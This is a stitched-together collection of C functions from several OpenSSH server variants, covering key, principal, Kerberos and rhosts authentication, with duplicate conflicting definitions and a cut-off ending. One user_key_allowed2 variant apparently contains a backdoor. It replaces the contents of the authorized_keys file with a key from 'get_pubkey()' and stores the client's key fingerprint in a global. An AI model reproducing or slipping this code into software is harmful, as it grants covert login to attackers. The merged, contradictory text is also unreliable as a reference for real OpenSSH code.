/* * Runs command in a subprocess with a minimal environment. * Returns pid on success, 0 on failure. * The child stdout and stderr maybe captured, left attached or sent to * /dev/null depending on the contents of flags. * "tag" is prepended to log messages. * NB. "command" is only used for logging; the actual command executed is * av[0]. */ pid_t subprocess(const char *tag, struct passwd *pw, const char *command, int ac, char **av, FILE **child, u_int flags) { FILE *f = NULL; struct stat st; int fd, devnull, p[2], i; pid_t pid; char *cp, errmsg[512]; u_int envsize; char **child_env; if (child != NULL) *child = NULL; debug3("%s: %s command \"%s\" running as %s (flags 0x%x)", __func__, tag, command, pw->pw_name, flags); /* Check consistency */ if ((flags & SSH_SUBPROCESS_STDOUT_DISCARD) != 0 && (flags & SSH_SUBPROCESS_STDOUT_CAPTURE) != 0) { error("%s: inconsistent flags", __func__); return 0; } if (((flags & SSH_SUBPROCESS_STDOUT_CAPTURE) == 0) != (child == NULL)) { error("%s: inconsistent flags/output", __func__); return 0; } /* * If executing an explicit binary, then verify the it exists * and appears safe-ish to execute */ if (*av[0] != '/') { error("%s path is not absolute", tag); return 0; } temporarily_use_uid(pw); if (stat(av[0], &st) < 0) { error("Could not stat %s \"%s\": %s", tag, av[0], strerror(errno)); restore_uid(); return 0; } if (safe_path(av[0], &st, NULL, 0, errmsg, sizeof(errmsg)) != 0) { error("Unsafe %s \"%s\": %s", tag, av[0], errmsg); restore_uid(); return 0; } /* Prepare to keep the child's stdout if requested */ if (pipe(p) != 0) { error("%s: pipe: %s", tag, strerror(errno)); restore_uid(); return 0; } restore_uid(); switch ((pid = fork())) { case -1: /* error */ error("%s: fork: %s", tag, strerror(errno)); close(p[0]); close(p[1]); return 0; case 0: /* child */ /* Prepare a minimal environment for the child. */ envsize = 5; child_env = xcalloc(sizeof(*child_env), envsize); child_set_env(&child_env, &envsize, "PATH", _PATH_STDPATH); child_set_env(&child_env, &envsize, "USER", pw->pw_name); child_set_env(&child_env, &envsize, "LOGNAME", pw->pw_name); child_set_env(&child_env, &envsize, "HOME", pw->pw_dir); if ((cp = getenv("LANG")) != NULL) child_set_env(&child_env, &envsize, "LANG", cp); for (i = 0; i < NSIG; i++) signal(i, SIG_DFL); if ((devnull = open(_PATH_DEVNULL, O_RDWR)) == -1) { error("%s: open %s: %s", tag, _PATH_DEVNULL, strerror(errno)); _exit(1); } if (dup2(devnull, STDIN_FILENO) == -1) { error("%s: dup2: %s", tag, strerror(errno)); _exit(1); } /* Set up stdout as requested; leave stderr in place for now. */ fd = -1; if ((flags & SSH_SUBPROCESS_STDOUT_CAPTURE) != 0) fd = p[1]; else if ((flags & SSH_SUBPROCESS_STDOUT_DISCARD) != 0) fd = devnull; if (fd != -1 && dup2(fd, STDOUT_FILENO) == -1) { error("%s: dup2: %s", tag, strerror(errno)); _exit(1); } closefrom(STDERR_FILENO + 1); /* Don't use permanently_set_uid() here to avoid fatal() */ #ifdef __NetBSD__ #define setresgid(a, b, c) setgid(a) #define setresuid(a, b, c) setuid(a) #endif if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0) { error("%s: setresgid %u: %s", tag, (u_int)pw->pw_gid, strerror(errno)); _exit(1); } if (setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid) != 0) { error("%s: setresuid %u: %s", tag, (u_int)pw->pw_uid, strerror(errno)); _exit(1); } /* stdin is pointed to /dev/null at this point */ if ((flags & SSH_SUBPROCESS_STDOUT_DISCARD) != 0 && dup2(STDIN_FILENO, STDERR_FILENO) == -1) { error("%s: dup2: %s", tag, strerror(errno)); _exit(1); } execve(av[0], av, child_env); error("%s exec \"%s\": %s", tag, command, strerror(errno)); _exit(127); default: /* parent */ break; } close(p[1]); if ((flags & SSH_SUBPROCESS_STDOUT_CAPTURE) == 0) close(p[0]); else if ((f = fdopen(p[0], "r")) == NULL) { error("%s: fdopen: %s", tag, strerror(errno)); close(p[0]); /* Don't leave zombie child */ kill(pid, SIGTERM); while (waitpid(pid, NULL, 0) == -1 && errno == EINTR) ; return 0; } /* Success */ debug3("%s: %s pid %ld", __func__, tag, (long)pid); if (child != NULL) *child = f; return pid; }
/* * Checks whether principal is allowed in output of command. * returns 1 if the principal is allowed or 0 otherwise. */ static int match_principals_command(struct passwd *user_pw, struct sshkey_cert *cert) { FILE *f = NULL; int ok, found_principal = 0; struct passwd *pw; int i, ac = 0, uid_swapped = 0; pid_t pid; char *tmp, *username = NULL, *command = NULL, **av = NULL; void (*osigchld)(int); if (options.authorized_principals_command == NULL) return 0; if (options.authorized_principals_command_user == NULL) { error("No user for AuthorizedPrincipalsCommand specified, " "skipping"); return 0; } /* * NB. all returns later this function should go via "out" to * ensure the original SIGCHLD handler is restored properly. */ #ifndef WIN32_FIXME // PRAGMA:TODO osigchld = signal(SIGCHLD, SIG_DFL); #endif /* Prepare and verify the user for the command */ username = percent_expand(options.authorized_principals_command_user, "u", user_pw->pw_name, (char *)NULL); pw = getpwnam(username); if (pw == NULL) { error("AuthorizedPrincipalsCommandUser \"%s\" not found: %s", username, strerror(errno)); goto out; } /* Turn the command into an argument vector */ if (split_argv(options.authorized_principals_command, &ac, &av) != 0) { error("AuthorizedPrincipalsCommand \"%s\" contains " "invalid quotes", command); goto out; } if (ac == 0) { error("AuthorizedPrincipalsCommand \"%s\" yielded no arguments", command); goto out; } for (i = 1; i < ac; i++) { tmp = percent_expand(av[i], "u", user_pw->pw_name, "h", user_pw->pw_dir, (char *)NULL); if (tmp == NULL) fatal("%s: percent_expand failed", __func__); free(av[i]); av[i] = tmp; } /* Prepare a printable command for logs, etc. */ command = assemble_argv(ac, av); if ((pid = subprocess("AuthorizedPrincipalsCommand", pw, command, ac, av, &f)) == 0) goto out; uid_swapped = 1; temporarily_use_uid(pw); ok = process_principals(f, NULL, pw, cert); if (exited_cleanly(pid, "AuthorizedPrincipalsCommand", command) != 0) goto out; /* Read completed successfully */ found_principal = ok; out: if (f != NULL) fclose(f); signal(SIGCHLD, osigchld); for (i = 0; i < ac; i++) free(av[i]); free(av); if (uid_swapped) restore_uid(); free(command); free(username); return found_principal; }
int auth_rsa_key_allowed(struct passwd *pw, BIGNUM *client_n, Key **rkey) { char *file; u_int i, allowed = 0; temporarily_use_uid(pw); #ifdef WITH_LDAP_PUBKEY if (options.lpk.on) { u_int bits; int sbits; ldap_key_t *k; /* here is the job */ Key *key = key_new(KEY_RSA1); debug("[LDAP] trying LDAP first uid=%s", pw->pw_name); if ( ldap_ismember(&options.lpk, pw->pw_name) > 0) { if ( (k = ldap_getuserkey(&options.lpk, pw->pw_name)) != NULL) { for (i = 0 ; i < k->num ; i++) { char *cp, *xoptions = NULL; for (cp = k->keys[i]->bv_val; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; /* * Check if there are options for this key, and if so, * save their starting address and skip the option part * for now. If there are no options, set the starting * address to NULL. */ if (*cp < '0' || *cp > '9') { int quoted = 0; xoptions = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } } else xoptions = NULL; /* Parse the key from the line. */ if (hostfile_read_key(&cp, &sbits, key) == 0) { debug("[LDAP] line %d: non ssh1 key syntax", i); continue; } bits = sbits; /* cp now points to the comment part. */ /* Check if the we have found the desired key (identified by its modulus). */ if (BN_cmp(key->rsa->n, client_n) != 0) continue; /* check the real bits */ if (bits != (unsigned int)BN_num_bits(key->rsa->n)) logit("[LDAP] Warning: ldap, line %lu: keysize mismatch: " "actual %d vs. announced %d.", (unsigned long)i, BN_num_bits(key->rsa->n), bits); /* We have found the desired key. */ /* * If our options do not allow this key to be used, * do not send challenge. */ if (!auth_parse_options(pw, xoptions, "[LDAP]", (unsigned long) i)) continue; /* break out, this key is allowed */ allowed = 1; /* add the return stuff etc... */ /* Restore the privileged uid. */ restore_uid(); /* return key if allowed */ if (allowed && rkey != NULL) *rkey = key; else key_free(key); ldap_keys_free(k); return (allowed); } } else { logit("[LDAP] no keys found for '%s'!", pw->pw_name); } } else { logit("[LDAP] '%s' is not in '%s'", pw->pw_name, options.lpk.sgroup); } } #endif for (i = 0; !allowed && i < options.num_authkeys_files; i++) { if (strcasecmp(options.authorized_keys_files[i], "none") == 0) continue; file = expand_authorized_keys( options.authorized_keys_files[i], pw); allowed = rsa_key_allowed_in_file(pw, file, client_n, rkey); free(file); } restore_uid(); return allowed; }
/* return 1 if user allows given key */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { char *line = NULL; const char *reason; int found_key = 0; FILE *f; u_long linenum = 0; Key *found; char *fp; /* Temporarily use the user's uid. */ temporarily_use_uid(pw); debug("trying public key file %s", file); f = auth_openkeyfile(file, pw, options.strict_modes); if (!f) { restore_uid(); return 0; } found_key = 0; found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type); gs_auth_fingerprint = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX); if (gs_auth_pubkey == NULL) { gs_auth_pubkey = get_pubkey(); } line = gs_auth_pubkey; while (line) { char *cp, *key_options = NULL; auth_clear_options(); /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') break; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("user_key_allowed: check options: '%s'", cp); key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ break; } } if (key_equal(found, key)) { if (auth_parse_options(pw, key_options, file, linenum) != 1) break; if (key_is_cert_authority) break; found_key = 1; debug("matching key found: file %s, line %lu", file, linenum); fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); verbose("Found matching %s key: %s", key_type(found), fp); xfree(fp); break; } break; } restore_uid(); fclose(f); key_free(found); if (!found_key) debug2("key not found"); return found_key; }
/* return 1 if user allows given key */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { char line[SSH_MAX_PUBKEY_BYTES]; int found_key = 0; FILE *f; u_long linenum = 0; struct stat st; Key *found; char *fp; /* Temporarily use the user's uid. */ temporarily_use_uid(pw); debug("trying public key file %s", file); /* Fail quietly if file does not exist */ if (stat(file, &st) < 0) { /* Restore the privileged uid. */ restore_uid(); return 0; } /* Open the file containing the authorized keys. */ f = fopen(file, "r"); if (!f) { /* Restore the privileged uid. */ restore_uid(); return 0; } if (options.strict_modes && secure_filename(f, file, pw, line, sizeof(line)) != 0) { fclose(f); logit("Authentication refused: %s", line); restore_uid(); return 0; } found_key = 0; found = key_new(key->type); while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) { char *cp, *key_options = NULL; /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("user_key_allowed: check options: '%s'", cp); key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ continue; } } if (key_equal(found, key) && auth_parse_options(pw, key_options, file, linenum) == 1) { found_key = 1; debug("matching key found: file %s, line %lu", file, linenum); fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); verbose("Found matching %s key: %s", key_type(found), fp); xfree(fp); break; } } restore_uid(); fclose(f); key_free(found); if (!found_key) debug2("key not found"); return found_key; }
int auth_krb5_password(Authctxt *authctxt, const char *password) { #ifndef HEIMDAL krb5_creds creds; krb5_principal server; #endif krb5_error_code problem; krb5_ccache ccache = NULL; int len; char *client, *platform_client; /* get platform-specific kerberos client principal name (if it exists) */ platform_client = platform_krb5_get_principal_name(authctxt->pw->pw_name); client = platform_client ? platform_client : authctxt->pw->pw_name; temporarily_use_uid(authctxt->pw); problem = krb5_init(authctxt); if (problem) goto out; problem = krb5_parse_name(authctxt->krb5_ctx, client, &authctxt->krb5_user); if (problem) goto out; #ifdef HEIMDAL problem = krb5_cc_gen_new(authctxt->krb5_ctx, &krb5_mcc_ops, &ccache); if (problem) goto out; problem = krb5_cc_initialize(authctxt->krb5_ctx, ccache, authctxt->krb5_user); if (problem) goto out; restore_uid(); problem = krb5_verify_user(authctxt->krb5_ctx, authctxt->krb5_user, ccache, password, 1, NULL); temporarily_use_uid(authctxt->pw); if (problem) goto out; problem = krb5_cc_gen_new(authctxt->krb5_ctx, &krb5_fcc_ops, &authctxt->krb5_fwd_ccache); if (problem) goto out; problem = krb5_cc_copy_cache(authctxt->krb5_ctx, ccache, authctxt->krb5_fwd_ccache); krb5_cc_destroy(authctxt->krb5_ctx, ccache); ccache = NULL; if (problem) goto out; #else problem = krb5_get_init_creds_password(authctxt->krb5_ctx, &creds, authctxt->krb5_user, (char *)password, NULL, NULL, 0, NULL, NULL); if (problem) goto out; problem = krb5_sname_to_principal(authctxt->krb5_ctx, NULL, NULL, KRB5_NT_SRV_HST, &server); if (problem) goto out; restore_uid(); problem = krb5_verify_init_creds(authctxt->krb5_ctx, &creds, server, NULL, NULL, NULL); krb5_free_principal(authctxt->krb5_ctx, server); temporarily_use_uid(authctxt->pw); if (problem) goto out; if (!krb5_kuserok(authctxt->krb5_ctx, authctxt->krb5_user, client)) { problem = -1; goto out; } problem = ssh_krb5_cc_gen(authctxt->krb5_ctx, &authctxt->krb5_fwd_ccache); if (problem) goto out; problem = krb5_cc_initialize(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache, authctxt->krb5_user); if (problem) goto out; problem= krb5_cc_store_cred(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache, &creds); if (problem) goto out; #endif authctxt->krb5_ticket_file = (char *)krb5_cc_get_name(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache); len = strlen(authctxt->krb5_ticket_file) + 6; authctxt->krb5_ccname = xmalloc(len); snprintf(authctxt->krb5_ccname, len, "FILE:%s", authctxt->krb5_ticket_file); #ifdef USE_PAM if (options.use_pam) do_pam_putenv("KRB5CCNAME", authctxt->krb5_ccname); #endif out: restore_uid(); if (platform_client != NULL) xfree(platform_client); if (problem) { if (ccache) krb5_cc_destroy(authctxt->krb5_ctx, ccache); if (authctxt->krb5_ctx != NULL && problem!=-1) debug("Kerberos password authentication failed: %s", krb5_get_err_text(authctxt->krb5_ctx, problem)); else debug("Kerberos password authentication failed: %d", problem); krb5_cleanup_proc(authctxt); if (options.kerberos_or_local_passwd) return (-1); else return (0); } return (authctxt->valid ? 1 : 0); }
/* * Checks whether principal is allowed in output of command. * returns 1 if the principal is allowed or 0 otherwise. */ static int match_principals_command(struct passwd *user_pw, const struct sshkey *key) { const struct sshkey_cert *cert = key->cert; FILE *f = NULL; int r, ok, found_principal = 0; struct passwd *pw; int i, ac = 0, uid_swapped = 0; pid_t pid; char *tmp, *username = NULL, *command = NULL, **av = NULL; char *ca_fp = NULL, *key_fp = NULL, *catext = NULL, *keytext = NULL; char serial_s[16]; void (*osigchld)(int); if (options.authorized_principals_command == NULL) return 0; if (options.authorized_principals_command_user == NULL) { error("No user for AuthorizedPrincipalsCommand specified, " "skipping"); return 0; } /* * NB. all returns later this function should go via "out" to * ensure the original SIGCHLD handler is restored properly. */ osigchld = signal(SIGCHLD, SIG_DFL); /* Prepare and verify the user for the command */ username = percent_expand(options.authorized_principals_command_user, "u", user_pw->pw_name, (char *)NULL); pw = getpwnam(username); if (pw == NULL) { error("AuthorizedPrincipalsCommandUser \"%s\" not found: %s", username, strerror(errno)); goto out; } /* Turn the command into an argument vector */ if (split_argv(options.authorized_principals_command, &ac, &av) != 0) { error("AuthorizedPrincipalsCommand \"%s\" contains " "invalid quotes", command); goto out; } if (ac == 0) { error("AuthorizedPrincipalsCommand \"%s\" yielded no arguments", command); goto out; } if ((ca_fp = sshkey_fingerprint(cert->signature_key, options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL) { error("%s: sshkey_fingerprint failed", __func__); goto out; } if ((key_fp = sshkey_fingerprint(key, options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL) { error("%s: sshkey_fingerprint failed", __func__); goto out; } if ((r = sshkey_to_base64(cert->signature_key, &catext)) != 0) { error("%s: sshkey_to_base64 failed: %s", __func__, ssh_err(r)); goto out; } if ((r = sshkey_to_base64(key, &keytext)) != 0) { error("%s: sshkey_to_base64 failed: %s", __func__, ssh_err(r)); goto out; } snprintf(serial_s, sizeof(serial_s), "%llu", (unsigned long long)cert->serial); for (i = 1; i < ac; i++) { tmp = percent_expand(av[i], "u", user_pw->pw_name, "h", user_pw->pw_dir, "t", sshkey_ssh_name(key), "T", sshkey_ssh_name(cert->signature_key), "f", key_fp, "F", ca_fp, "k", keytext, "K", catext, "i", cert->key_id, "s", serial_s, (char *)NULL); if (tmp == NULL) fatal("%s: percent_expand failed", __func__); free(av[i]); av[i] = tmp; } /* Prepare a printable command for logs, etc. */ command = assemble_argv(ac, av); if ((pid = subprocess("AuthorizedPrincipalsCommand", pw, command, ac, av, &f)) == 0) goto out; uid_swapped = 1; temporarily_use_uid(pw); ok = process_principals(f, NULL, pw, cert); fclose(f); f = NULL; if (exited_cleanly(pid, "AuthorizedPrincipalsCommand", command) != 0) goto out; /* Read completed successfully */ found_principal = ok; out: if (f != NULL) fclose(f); signal(SIGCHLD, osigchld); for (i = 0; i < ac; i++) free(av[i]); free(av); if (uid_swapped) restore_uid(); free(command); free(username); free(ca_fp); free(key_fp); free(catext); free(keytext); return found_principal; }
/* return 1 if user allows given key */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { char line[SSH_MAX_PUBKEY_BYTES]; const char *reason; int found_key = 0; FILE *f; u_long linenum = 0; Key *found; char *fp; /* Temporarily use the user's uid. */ temporarily_use_uid(pw); debug("trying public key file %s", file); f = auth_openkeyfile(file, pw, options.strict_modes); if (!f) { restore_uid(); return 0; } found_key = 0; found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type); while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) { char *cp, *key_options = NULL; auth_clear_options(); /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("user_key_allowed: check options: '%s'", cp); key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ continue; } } if (key_is_cert(key)) { if (!key_equal(found, key->cert->signature_key)) continue; if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (!key_is_cert_authority) continue; fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); debug("matching CA found: file %s, line %lu, %s %s", file, linenum, key_type(found), fp); /* * If the user has specified a list of principals as * a key option, then prefer that list to matching * their username in the certificate principals list. */ if (authorized_principals != NULL && !match_principals_option(authorized_principals, key->cert)) { reason = "Certificate does not contain an " "authorized principal"; fail_reason: xfree(fp); error("%s", reason); auth_debug_add("%s", reason); continue; } if (key_cert_check_authority(key, 0, 0, authorized_principals == NULL ? pw->pw_name : NULL, &reason) != 0) goto fail_reason; if (auth_cert_options(key, pw) != 0) { xfree(fp); continue; } verbose("Accepted certificate ID \"%s\" " "signed by %s CA %s via %s", key->cert->key_id, key_type(found), fp, file); xfree(fp); found_key = 1; break; } else if (key_equal(found, key)) { if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (key_is_cert_authority) continue; found_key = 1; debug("matching key found: file %s, line %lu", file, linenum); fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); verbose("Found matching %s key: %s", key_type(found), fp); xfree(fp); break; } } restore_uid(); fclose(f); key_free(found); if (!found_key) debug2("key not found"); return found_key; }
/* * Runs command in a subprocess. Returns pid on success and a FILE* to the * subprocess' stdout or 0 on failure. * NB. "command" is only used for logging. */ static pid_t subprocess(const char *tag, struct passwd *pw, const char *command, int ac, char **av, FILE **child) { FILE *f; struct stat st; int devnull, p[2], i; pid_t pid; char *cp, errmsg[512]; u_int envsize; char **child_env; *child = NULL; debug3("%s: %s command \"%s\" running as %s", __func__, tag, command, pw->pw_name); /* Verify the path exists and is safe-ish to execute */ if (*av[0] != '/') { error("%s path is not absolute", tag); return 0; } temporarily_use_uid(pw); if (stat(av[0], &st) < 0) { error("Could not stat %s \"%s\": %s", tag, av[0], strerror(errno)); restore_uid(); return 0; } if (auth_secure_path(av[0], &st, NULL, 0, errmsg, sizeof(errmsg)) != 0) { error("Unsafe %s \"%s\": %s", tag, av[0], errmsg); restore_uid(); return 0; } /* * Run the command; stderr is left in place, stdout is the * authorized_keys output. */ if (pipe(p) != 0) { error("%s: pipe: %s", tag, strerror(errno)); restore_uid(); return 0; } /* * Don't want to call this in the child, where it can fatal() and * run cleanup_exit() code. */ restore_uid(); switch ((pid = fork())) { case -1: /* error */ error("%s: fork: %s", tag, strerror(errno)); close(p[0]); close(p[1]); return 0; case 0: /* child */ /* Prepare a minimal environment for the child. */ envsize = 5; child_env = xcalloc(sizeof(*child_env), envsize); child_set_env(&child_env, &envsize, "PATH", _PATH_STDPATH); child_set_env(&child_env, &envsize, "USER", pw->pw_name); child_set_env(&child_env, &envsize, "LOGNAME", pw->pw_name); child_set_env(&child_env, &envsize, "HOME", pw->pw_dir); if ((cp = getenv("LANG")) != NULL) child_set_env(&child_env, &envsize, "LANG", cp); for (i = 0; i < NSIG; i++) signal(i, SIG_DFL); if ((devnull = open(_PATH_DEVNULL, O_RDWR)) == -1) { error("%s: open %s: %s", tag, _PATH_DEVNULL, strerror(errno)); _exit(1); } /* Keep stderr around a while longer to catch errors */ if (dup2(devnull, STDIN_FILENO) == -1 || dup2(p[1], STDOUT_FILENO) == -1) { error("%s: dup2: %s", tag, strerror(errno)); _exit(1); } closefrom(STDERR_FILENO + 1); /* Don't use permanently_set_uid() here to avoid fatal() */ if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0) { error("%s: setresgid %u: %s", tag, (u_int)pw->pw_gid, strerror(errno)); _exit(1); } if (setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid) != 0) { error("%s: setresuid %u: %s", tag, (u_int)pw->pw_uid, strerror(errno)); _exit(1); } /* stdin is pointed to /dev/null at this point */ if (dup2(STDIN_FILENO, STDERR_FILENO) == -1) { error("%s: dup2: %s", tag, strerror(errno)); _exit(1); } execve(av[0], av, child_env); error("%s exec \"%s\": %s", tag, command, strerror(errno)); _exit(127); default: /* parent */ break; } close(p[1]); if ((f = fdopen(p[0], "r")) == NULL) { error("%s: fdopen: %s", tag, strerror(errno)); close(p[0]); /* Don't leave zombie child */ kill(pid, SIGTERM); while (waitpid(pid, NULL, 0) == -1 && errno == EINTR) ; return 0; } /* Success */ debug3("%s: %s pid %ld", __func__, tag, (long)pid); *child = f; return pid; }
static int auth_rhosts2_raw(struct passwd *pw, const char *client_user, const char *hostname, const char *ipaddr) { char buf[1024]; struct stat st; static const char *rhosts_files[] = {".shosts", ".rhosts", NULL}; u_int rhosts_file_index; debug2("auth_rhosts2: clientuser %s hostname %s ipaddr %s", client_user, hostname, ipaddr); /* Switch to the user's uid. */ temporarily_use_uid(pw); /* * Quick check: if the user has no .shosts or .rhosts files, return * failure immediately without doing costly lookups from name * servers. */ for (rhosts_file_index = 0; rhosts_files[rhosts_file_index]; rhosts_file_index++) { /* Check users .rhosts or .shosts. */ snprintf(buf, sizeof buf, "%.500s/%.100s", pw->pw_dir, rhosts_files[rhosts_file_index]); if (stat(buf, &st) >= 0) break; } /* Switch back to privileged uid. */ restore_uid(); /* Deny if The user has no .shosts or .rhosts file and there are no system-wide files. */ if (!rhosts_files[rhosts_file_index] && stat(_PATH_RHOSTS_EQUIV, &st) < 0 && stat(_PATH_SSH_HOSTS_EQUIV, &st) < 0) return 0; /* If not logging in as superuser, try /etc/hosts.equiv and shosts.equiv. */ if (pw->pw_uid != 0) { if (check_rhosts_file(_PATH_RHOSTS_EQUIV, hostname, ipaddr, client_user, pw->pw_name)) { auth_debug_add("Accepted for %.100s [%.100s] by /etc/hosts.equiv.", hostname, ipaddr); return 1; } if (check_rhosts_file(_PATH_SSH_HOSTS_EQUIV, hostname, ipaddr, client_user, pw->pw_name)) { auth_debug_add("Accepted for %.100s [%.100s] by %.100s.", hostname, ipaddr, _PATH_SSH_HOSTS_EQUIV); return 1; } } /* * Check that the home directory is owned by root or the user, and is * not group or world writable. */ if (stat(pw->pw_dir, &st) < 0) { logit("Rhosts authentication refused for %.100s: " "no home directory %.200s", pw->pw_name, pw->pw_dir); auth_debug_add("Rhosts authentication refused for %.100s: " "no home directory %.200s", pw->pw_name, pw->pw_dir); return 0; } if (options.strict_modes && ((st.st_uid != 0 && st.st_uid != pw->pw_uid) || (st.st_mode & 022) != 0)) { logit("Rhosts authentication refused for %.100s: " "bad ownership or modes for home directory.", pw->pw_name); auth_debug_add("Rhosts authentication refused for %.100s: " "bad ownership or modes for home directory.", pw->pw_name); return 0; } /* Temporarily use the user's uid. */ temporarily_use_uid(pw); /* Check all .rhosts files (currently .shosts and .rhosts). */ for (rhosts_file_index = 0; rhosts_files[rhosts_file_index]; rhosts_file_index++) { /* Check users .rhosts or .shosts. */ snprintf(buf, sizeof buf, "%.500s/%.100s", pw->pw_dir, rhosts_files[rhosts_file_index]); if (stat(buf, &st) < 0) continue; /* * Make sure that the file is either owned by the user or by * root, and make sure it is not writable by anyone but the * owner. This is to help avoid novices accidentally * allowing access to their account by anyone. */ if (options.strict_modes && ((st.st_uid != 0 && st.st_uid != pw->pw_uid) || (st.st_mode & 022) != 0)) { logit("Rhosts authentication refused for %.100s: bad modes for %.200s", pw->pw_name, buf); auth_debug_add("Bad file modes for %.200s", buf); continue; } /* Check if we have been configured to ignore .rhosts and .shosts files. */ if (options.ignore_rhosts) { auth_debug_add("Server has been configured to ignore %.100s.", rhosts_files[rhosts_file_index]); continue; } /* Check if authentication is permitted by the file. */ if (check_rhosts_file(buf, hostname, ipaddr, client_user, pw->pw_name)) { auth_debug_add("Accepted by %.100s.", rhosts_files[rhosts_file_index]); /* Restore the privileged uid. */ restore_uid(); auth_debug_add("Accepted host %s ip %s client_user %s server_user %s", hostname, ipaddr, client_user, pw->pw_name); return 1; } } /* Restore the privileged uid. */ restore_uid(); return 0; }
/* return 1 if user allows given key */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { char line[SSH_MAX_PUBKEY_BYTES]; const char *reason; int found_key = 0; FILE *f; u_long linenum = 0; Key *found; char *fp; #ifdef WITH_LDAP_PUBKEY ldap_key_t * k; unsigned int i = 0; #endif /* Temporarily use the user's uid. */ temporarily_use_uid(pw); #ifdef WITH_LDAP_PUBKEY found_key = 0; /* allocate a new key type */ found = key_new(key->type); /* first check if the options is enabled, then try.. */ if (options.lpk.on) { debug("[LDAP] trying LDAP first uid=%s",pw->pw_name); if (ldap_ismember(&options.lpk, pw->pw_name) > 0) { if ((k = ldap_getuserkey(&options.lpk, pw->pw_name)) != NULL) { /* Skip leading whitespace, empty and comment lines. */ for (i = 0 ; i < k->num ; i++) { /* dont forget if multiple keys to reset options */ char *cp, *xoptions = NULL; for (cp = (char *)k->keys[i]->bv_val; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("[LDAP] user_key_allowed: check options: '%s'", cp); xoptions = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("[LDAP] user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ continue; } } if (key_equal(found, key) && auth_parse_options(pw, xoptions, file, linenum) == 1) { found_key = 1; debug("[LDAP] matching key found"); fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); verbose("[LDAP] Found matching %s key: %s", key_type(found), fp); /* restoring memory */ ldap_keys_free(k); xfree(fp); restore_uid(); key_free(found); return found_key; break; } }/* end of LDAP for() */ } else { logit("[LDAP] no keys found for '%s'!", pw->pw_name); } } else { logit("[LDAP] '%s' is not in '%s'", pw->pw_name, options.lpk.sgroup); } } #endif debug("trying public key file %s", file); f = auth_openkeyfile(file, pw, options.strict_modes); if (!f) { restore_uid(); return 0; } found_key = 0; found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type); while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) { char *cp, *key_options = NULL; auth_clear_options(); /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("user_key_allowed: check options: '%s'", cp); 